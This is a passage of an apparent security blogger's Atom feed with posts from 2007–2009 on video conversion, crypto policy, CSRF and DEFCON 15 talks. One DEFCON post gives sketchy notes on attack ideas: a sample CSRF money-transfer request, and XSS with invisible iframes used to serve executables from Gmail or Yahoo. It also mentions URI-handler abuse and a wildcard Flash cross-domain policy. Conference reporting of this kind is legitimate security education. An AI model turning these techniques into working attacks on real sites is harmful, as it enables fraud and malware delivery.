src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-3995655668379780528</id><published>2009-03-04T14:02:00.002-05:00</published><updated>2009-03-04T14:13:45.795-05:00</updated><title type='text'>convert any video to creative zen format</title><content type='html'>I recently got a 16MB Creative Zen player.  It has a really cool screen, long battery life, and accepts SD cards for additional storage.  It's perfect for watching TV / Movies and Security Conference proceedings.&lt;br /&gt;&lt;br /&gt;The problem is that there is no direct way to convert arbitrary video files to acceptable formats.  The formats that the Zen likes are WMV and XVID.&lt;br /&gt;&lt;br /&gt;Most of the conversion can be done with WinFF (free) using a simple one step process.&lt;br /&gt;&lt;br /&gt;Converting a DVD to XVID takes two steps:&lt;br /&gt;&lt;br /&gt;1. Rip the DVD to disk using DVDShrink&lt;br /&gt;2. Use WinFF to convert VOB to AVI (XVID)&lt;br /&gt;&lt;br /&gt;Converting Real Media format to WMV/XVID only takes one step, but requires the use of a non-free product supporting Real formats.  I like xlisoft converter software.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-3995655668379780528?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/3995655668379780528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=3995655668379780528' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3995655668379780528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3995655668379780528'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/03/convert-any-video-to-creative-zen.html' title='convert any video to creative zen format'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-8095651248501710499</id><published>2008-12-08T20:15:00.002-05:00</published><updated>2008-12-09T15:16:03.140-05:00</updated><title type='text'>cybersecurity and the financial sector</title><content type='html'>We have been witness to catastrophic global financial meltdown. Unfortunately for us who spend any time on the internet, recovery will not occur on internet time.&lt;br /&gt;&lt;br /&gt;In the interim, plenty of "information workers"...errmm senior system administrators, distinguished network engineers as well as their MSCE brethren are being told they are no longer needed and have lost their jobs.&lt;br /&gt;&lt;br /&gt;The result is that there are likely an order of magnitude more internet servers that are slated for decommissioning. The skeleton crew left over will eventually get to it(or not). However, abandoned systems are no long being monitored, or patched and likely will fall out of inventories as more cost cutting measures are implemented.&lt;br /&gt;&lt;br /&gt;This is good news for cybercriminals. I'm predicting an upsurge in server attacks using vulnerabilities discovered over this last quarter of 2008. We could start seeing this as soon as second quarter 2009. It's likely happening right now.&lt;br /&gt;&lt;br /&gt;Not sure what to do about it at this point&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-8095651248501710499?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/8095651248501710499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=8095651248501710499' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/8095651248501710499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/8095651248501710499'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2008/12/cybersecurity-and-financial-sector.html' title='cybersecurity and the financial sector'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-4372368969178162874</id><published>2008-12-05T19:00:00.001-05:00</published><updated>2008-12-09T12:41:24.104-05:00</updated><title type='text'>imaginary munitions</title><content type='html'>I've been thinking a lot about weaponizing of code in it's various forms. Exploit frameworks, web malware, and spyware come to mind. It's been a while since the notion of computer code as a weapon / munition has been discussed outside private circles. My concern is that bad crypto and bad code is being passed off as useful to the general public. Well, maybe not bad code, but certainly incomplete code.&lt;br /&gt;&lt;br /&gt;It was not too long ago that that strong crypto was considered a munition. The Clinton era &lt;a href="http://epic.org/crypto/clipper/"&gt;clipper chip&lt;/a&gt; fiasco seemed to be the last overt attempt at controlling crypto and crypto key management.&lt;br /&gt;&lt;br /&gt;Fast forward to 2008 and this seems almost a laughable proposition, the idea that a law could prevent free movement of ideas and moreover that in a democracy, a totalitarian cryptographic infrastructure could exist. These were the days when PKI was solving wold hunger, and the NIST bridge certificate authorities would broker all secure transactions globally. Cool stuff at the time.&lt;br /&gt;&lt;br /&gt;While we don't have government key management, we have seen in practice the ability for the government to access any information it needs, encrypted or not. This is all based on Bruce comments from long ago that the crypto itself is the easy part, the implementation and use of crypto is very difficult to get right. So forensics teams can either find keys, or break a specific implementation to get to the data, rather than rely on some elaborate key escrow capability.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-4372368969178162874?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/4372368969178162874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=4372368969178162874' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4372368969178162874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4372368969178162874'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2008/12/imaginary-munitions.html' title='imaginary munitions'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-2873575472354991465</id><published>2008-11-13T14:55:00.001-05:00</published><updated>2008-11-13T15:13:47.966-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web security hacking'/><title type='text'>Cross site request forgery</title><content type='html'>&lt;p&gt;I recently wrote up a doc on CSRF and presented it to a group of colleagues. I presented it as a work in progress, bu tit was kind of all over the place.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;I challenged everyone to think of CSRF as a new type of payload that gets delivered rather than an exploit or vulnerability that can easily be fixed.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;I was challenged on my statement that in the presence of XSS on a given domain, CSRF payloads can never be fully mitigated.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-2873575472354991465?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/2873575472354991465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=2873575472354991465' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2873575472354991465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2873575472354991465'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2008/11/cross-site-request-forgery.html' title='Cross site request forgery'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-3982706861574551766</id><published>2008-09-17T22:19:00.002-04:00</published><updated>2008-09-17T22:27:53.818-04:00</updated><title type='text'>its been a long week so far...</title><content type='html'>This week has seen some serious troubles manifested in the financial markets.  Additionally it has been one of the most surreal times in my recent neurochemical life.&lt;br /&gt;&lt;br /&gt;I have had no electric for the past 96 hours.  My wife and kids went to stay with my mother-in-law.  Candles, flashlights, radios and ipods were about all I had.  In fact I was just getting used to listening to audio archives from blackhat 2008.  &lt;br /&gt;&lt;br /&gt;The best talk so far was Billy Hoffman.  A self described southern, fast talker, and excessive red bull drinker.  This is at least 6 months worth of appsec research for me.  &lt;br /&gt;The best part was the description of last years talk eluding to a "dehydrate" function.  Where javascript is represented as white space. He described it in the book he co-authored "ajax security".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-3982706861574551766?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/3982706861574551766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=3982706861574551766' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3982706861574551766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3982706861574551766'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2008/09/its-been-long-week-so-far.html' title='its been a long week so far...'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-1628235092341906617</id><published>2007-08-17T14:59:00.000-04:00</published><updated>2007-08-20T12:17:31.964-04:00</updated><title type='text'>autoinject.user.js</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_0rmHZ5EqPRo/RsX0CvIliJI/AAAAAAAAACU/b-FbqVQinjE/s1600-h/autoxss.user.js.jpg"&gt;&lt;img style="cursor: pointer;" src="http://bp2.blogger.com/_0rmHZ5EqPRo/RsX0CvIliJI/AAAAAAAAACU/b-FbqVQinjE/s400/autoxss.user.js.jpg" alt="" id="BLOGGER_PHOTO_ID_5099750480916351122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_0rmHZ5EqPRo/RsXx4fIliHI/AAAAAAAAACE/L8X9Xo6YN1E/s1600-h/autoxss.user.js.bmp"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-1628235092341906617?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/1628235092341906617/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=1628235092341906617' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1628235092341906617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1628235092341906617'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/08/autoinjectuserjs.html' title='autoinject.user.js'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_0rmHZ5EqPRo/RsX0CvIliJI/AAAAAAAAACU/b-FbqVQinjE/s72-c/autoxss.user.js.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-4206935293270882506</id><published>2007-08-17T13:07:00.000-04:00</published><updated>2009-08-27T19:52:43.914-04:00</updated><title type='text'>defcon | 0x0F0002</title><content type='html'>A guy from websense gave a cool talk on Ajax Honeypots.  The basic idea is to set up ebay, myspace,  etc accounts and  what happens.  Watch who trys to put iframes into your site,  who tries to be your friend...that sort of thing.   Intersting way to gain intelligence.  &lt;br /&gt;&lt;br /&gt;The speaker went on to describe an ebay auction he started to sell a (poorly drawn) picture of a bicycle.   Immedially he got serveral bids, and once the aution closed, the highest bid was at $300.   So he sent an email asking how the buyer wanted to pay for the picture.  The buyer used some stall tactics over several emails, but indicated the picture was worth it and so forth.  In the final email the bidder asked for bank routing information and other personal information so that a payment could be made to the sellers account.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.security.org"&gt;Mark Tobias &lt;/a&gt;was at DC15 again.  Man this guy is good.   He is a laywer and expert in physical bypass techniques.   He gave another public service anouncement to help accurtatly represent the state of insecurity of currently locks. He talked about all sorts of engineering and production issues with lock manufacuteres that leed to defects but are primarily the failure of imagination within the design groups of the manufactureures.&lt;br /&gt;&lt;br /&gt;The pointed out the most important aspect of physical and cyber security.  We have to remember &lt;span style="font-weight: bold;"&gt;the key does not open the lock.&lt;/span&gt;   The key actuates a mechanism that opens the lock.  There is always a way to actuate the gating mechanism without the key....&lt;br /&gt;&lt;br /&gt;There was another demonstration of bumpkey-ing.  If you have not heard of it, check out youtube.  It is just another defect found in almost all classes of locks, that allow them to be opened by unskilled people.&lt;br /&gt;&lt;br /&gt;Although I did no participate in any contests this year, DC15 had a lockpicking village with  representation from all over, including &lt;a href="http://www.toool.nl"&gt;toool.nl&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;xs-snipers gave a presnetation called "bitting the hand that feeds me"&lt;br /&gt;They talked about dns-pinning, classic CSRF...and then this way cool use of CSRF on well known web sites to anonymously host web badware.&lt;br /&gt;who do you trust/DNS&lt;br /&gt;browser restricitons/ssl cert/phishing filters/human trust&lt;br /&gt;classic CSRF&lt;br /&gt;GET /tranfer.do?toAcct=nate&amp;amp;amount=1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;USE XSS create an invisabel iframe&lt;br /&gt;array or usernames passwords&lt;br /&gt;test for xss then execute an xss request that only works with auth creds, use the xss to ping you back....exponential xss&lt;br /&gt;xss sniper.com&lt;br /&gt;&lt;br /&gt;put file that you want tp serve on one of the mail servers,&lt;br /&gt;domain switching&lt;br /&gt;store the file on the mailserver, find xss in yahoo, send a link with your xssesd page to send from yahoo&lt;br /&gt;&lt;br /&gt;gmail&lt;br /&gt;signup&lt;br /&gt;storing content on gmail, no exe, it uploads to gmail anyway...they have taken ownership of cmd.exe&lt;br /&gt;get location for the get request (copy short cut)&lt;br /&gt;find xss, create invisable iframe, serve exe from gmail&lt;br /&gt;&lt;br /&gt;people trust yahoo&lt;br /&gt;you can host warez on on gmail and yahoo&lt;br /&gt;&lt;br /&gt;write a full blown applicaiton to take advantage to this&lt;br /&gt;&lt;br /&gt;Flash - cossdamin.xml loadpolicy in flash7&lt;br /&gt;&lt;br /&gt;create invidabel iframe xss and specify the exact request to make the cross domain request somewhere&lt;br /&gt;&lt;br /&gt;uri handler abuse - problem handling double quotes&lt;br /&gt;firefox://&lt;br /&gt;uris interact in whatever they want...&lt;br /&gt;you can activate these to to interact with the user and the app&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cross browser scripting&lt;br /&gt;firefox&lt;br /&gt;&lt;br /&gt;cross applciation scripting - own aim via i.e., command injection&lt;br /&gt;&lt;br /&gt;remote command execution&lt;br /&gt;in ff, mailto: double encoded nulls mis handles when ie7 is installed&lt;br /&gt;&lt;br /&gt;xss-sniper&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-Commonly used terms thoughout the con&lt;br /&gt;same origin policy/mpack/web2.0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-4206935293270882506?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/4206935293270882506/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=4206935293270882506' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4206935293270882506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4206935293270882506'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/08/defcon-0x0f0002_17.html' title='defcon | 0x0F0002'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-5155259548646822741</id><published>2007-08-09T15:35:00.000-04:00</published><updated>2007-08-17T13:07:50.018-04:00</updated><title type='text'>defcon | 0x0F0002</title><content type='html'>&lt;a href="http://www.criminaljustice.uncc.edu/cv/TJHOLT%20CV.pdf"&gt;Thomas Holt&lt;/a&gt; had a great session on "&lt;a href="http://www.theregister.co.uk/2007/08/06/malware_marketplace/"&gt;The market for &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;malware&lt;/span&gt;&lt;/a&gt;".  Thomas has been helping law enforcement with his research into this community/culture and &lt;a href="http://www.darkreading.com/document.asp?doc_id=130951"&gt;shared some of his findings&lt;/a&gt;. In the past there have been talks about the Russian hacker scene. This one was a lot more detailed talk on the entire vertical and underground economy that fuels all sorts of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;badware&lt;/span&gt;. He detailed various roles, rules and functions, from the coder teams, the sales agent/promoter, to the seller, to the user (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;badguy&lt;/span&gt;) to the victim. He detailed how data was sold and how the community has it's own norms and expectations. The work he has done&lt;br /&gt;&lt;br /&gt;It starts in a public forum, individuals can post code the the forum moderator and they will test the code, the moderator then writes back if the software works. if it works as advertised people start buying it and posting there own reviews. Then they can get discounts and all sort of perks.&lt;br /&gt;It reminds me of the (old?) &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;IRC&lt;/span&gt; channels or the (definitely old) BBS systems where you get credits for uploading, that you can use for downloading,&lt;br /&gt;&lt;br /&gt;The bad guys treat the best customers very very well. There was an advertisement for customers for a party at a castle with free Sony &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;VAIOs&lt;/span&gt;, and the very top buyers and referrers got class C Mercedes.&lt;br /&gt;&lt;br /&gt;"The Secrets of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Malware&lt;/span&gt;" &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Valsmith&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Delchi&lt;/span&gt; &lt;span style="text-decoration: underline;"&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;cDc&lt;/span&gt;&lt;/span&gt;/&lt;a href="http://www.ninjastrikeforce.com/"&gt;NSF&lt;/a&gt; from are both from  &lt;a href="http://www.offensivecomputing.net/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;offensivesecurity&lt;/span&gt;&lt;/a&gt;.  Very cool site  that takes &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;malware&lt;/span&gt; samples from anyone, posts them in the forums, analyzes them  and posts the analysis.  So they talked  about some trending data from questions they have been asking...like what type of packers are used the most (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;upx&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;pecompact&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;aspack&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;fsg&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;pepack&lt;/span&gt;).   Or what type of compilers in order of &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_16"&gt;prevalence&lt;/span&gt; (ms &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;vc&lt;/span&gt;++, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;msvb&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;borland&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;delphi&lt;/span&gt;).   Then some more out of the box type questions came up...like what type of packer are the least frequently used (private-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;exe&lt;/span&gt; 1%, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;codesafe&lt;/span&gt; 1%, soft-defender 1%). &lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;Delchi&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_24"&gt;mentioned&lt;/span&gt; his goal is to have the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;intial&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;analyis&lt;/span&gt; done and posted within 5 minutes of a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;malware&lt;/span&gt; sample upload.  Seemed kind of &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_28"&gt;ambitious&lt;/span&gt;, but he &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_29"&gt;stepped&lt;/span&gt; through some of his process and the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;perl&lt;/span&gt; code he is using to drive the time to &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_31"&gt;analysis&lt;/span&gt; down.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;allow-access-from domain="*"&gt;&lt;/allow-access-from&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-5155259548646822741?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/5155259548646822741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=5155259548646822741' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5155259548646822741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5155259548646822741'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/08/defcon-0x0f0002.html' title='defcon | 0x0F0002'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-1322353411217056127</id><published>2007-08-03T22:20:00.000-04:00</published><updated>2007-08-09T15:40:23.890-04:00</updated><title type='text'>defcon | 0x0F0001</title><content type='html'>A large number of us hear about a potential &lt;a href="http://www.infoworld.com/archives/emailPrint.jsp?R=printThis&amp;A=/article/07/08/03/Undercover-Dateline-NBC-producer-booted-from-Defcon_1.html"&gt;"undercover" reporter&lt;/a&gt; at the con without a press badge.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securitytribe.com/%7Ekingpin/"&gt;Kingpin&lt;/a&gt; presents hardware hacking freescale chips, and how he made the &lt;a href="http://www.grandideastudio.com/portfolio/index.php?id=1&amp;amp;prod=47"&gt;badge&lt;/a&gt;, with a programmable scrolling led pannel this year.  It's always good to be reminded that it all starts with the hardware.  and that cool stuff is being done with less than 16K of memory.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.schneier.com/blog/"&gt;Bruce Schneier&lt;/a&gt; q&amp;a session.  I never turn down an opportunity to see Bruce.  Among discussing the recent interview with the TSA chief he has been blogging about, he pointed out that  everything we do in the information age outputs data, it's all over the place, we can't get rid of it easily.  He said "data is the pollution of the information age".   Everything we do in cyberspace  outputs some form of data, it's all over the place, we can't get rid of it easily.&lt;br /&gt;&lt;br /&gt;He wen on further to postulate that we will be judged in a few decades (as individuals in the industrial age are/were) on how we manage this new type of pollution.&lt;br /&gt;&lt;br /&gt;In response to another question, Bruce again pointed out encryption strength doesn't matter.  No one tries to crack the crypto, they attack the key management.  The &lt;a href="http://www.epic.org/crypto/scarfo/murch_aff.pdf"&gt;FBI cracks hushmail/pgp with keyloggers&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;He also talked about this forensic company (&lt;a href="http://www.accessdata.com/"&gt;I think it was accessdata&lt;/a&gt;) that FBI/CIA/etc contracts with that has an 80% chance of cracking any file they get as long as they get the hard drive along with it.  The company compiles a dictionary from all  the printable strings contained on the hard drive.  Think of all the cr@p in pagefiles, slack space, things tagged onto the end of 3 year old word docs...that sort of thing.  They mutate it and create a personalized dictionary attack...and it works most of the time.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mwrinfosecurity.com/"&gt;Martyn Ruks @ mwr infosecurity&lt;/a&gt; Gave a really good presentation on mq series architecture and surface area open to exploit.  In addition to presenting 2 new vulnerabilities, one of which appears to be a 0-day,  he demonstrated several tools he wrote and mentioned he would be releasing core the python classes he wrote to research attacks on and enumerate MQ.&lt;br /&gt;&lt;br /&gt;This year they Q&amp;amp;A breakout rooms....so after the talk, you could spend another hour asking questions with about 4 or 5 other people.  It was great.  T-Rob, a cool MQ guy who works for IBM (although not officially representing IBM) was there.  He has this &lt;a href="http://www.mqseries.net/phpBB2/viewtopic.php?p=187066&amp;amp;sid=e51dfcc140523d02a18297b52a925fe4"&gt;comment &lt;/a&gt;to add to some mainstream MQ user forums.&lt;br /&gt;&lt;br /&gt;The takeaway beyond MQ, from this talk, is that there are minimal vulnerability assessment tools (and methodology for that matter) to assess the security of large enterprise middleware infrastructure.   And when testing or reviewing reports of pentests that involve middleware,  don't accept a clean nessus/iss/retina scan as sufficient and assume your secure.&lt;br /&gt;&lt;br /&gt;Some of the things that come to mind are ldap, j2ee, appserver rpc protocols,  as well as enterprise management systems protocols used to manage Symantec (ESM), IBM (tivoli) and others.  All of these have been found vulnerable and the vendors have silently patched them with little notice.&lt;a href="http://www.criminaljustice.uncc.edu/cv/TJHOLT%20CV.pdf"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-1322353411217056127?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/1322353411217056127/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=1322353411217056127' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1322353411217056127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1322353411217056127'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/08/defcon-0x0f0001.html' title='defcon | 0x0F0001'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-1776987228846008374</id><published>2007-08-02T12:55:00.000-04:00</published><updated>2007-08-09T15:41:32.352-04:00</updated><title 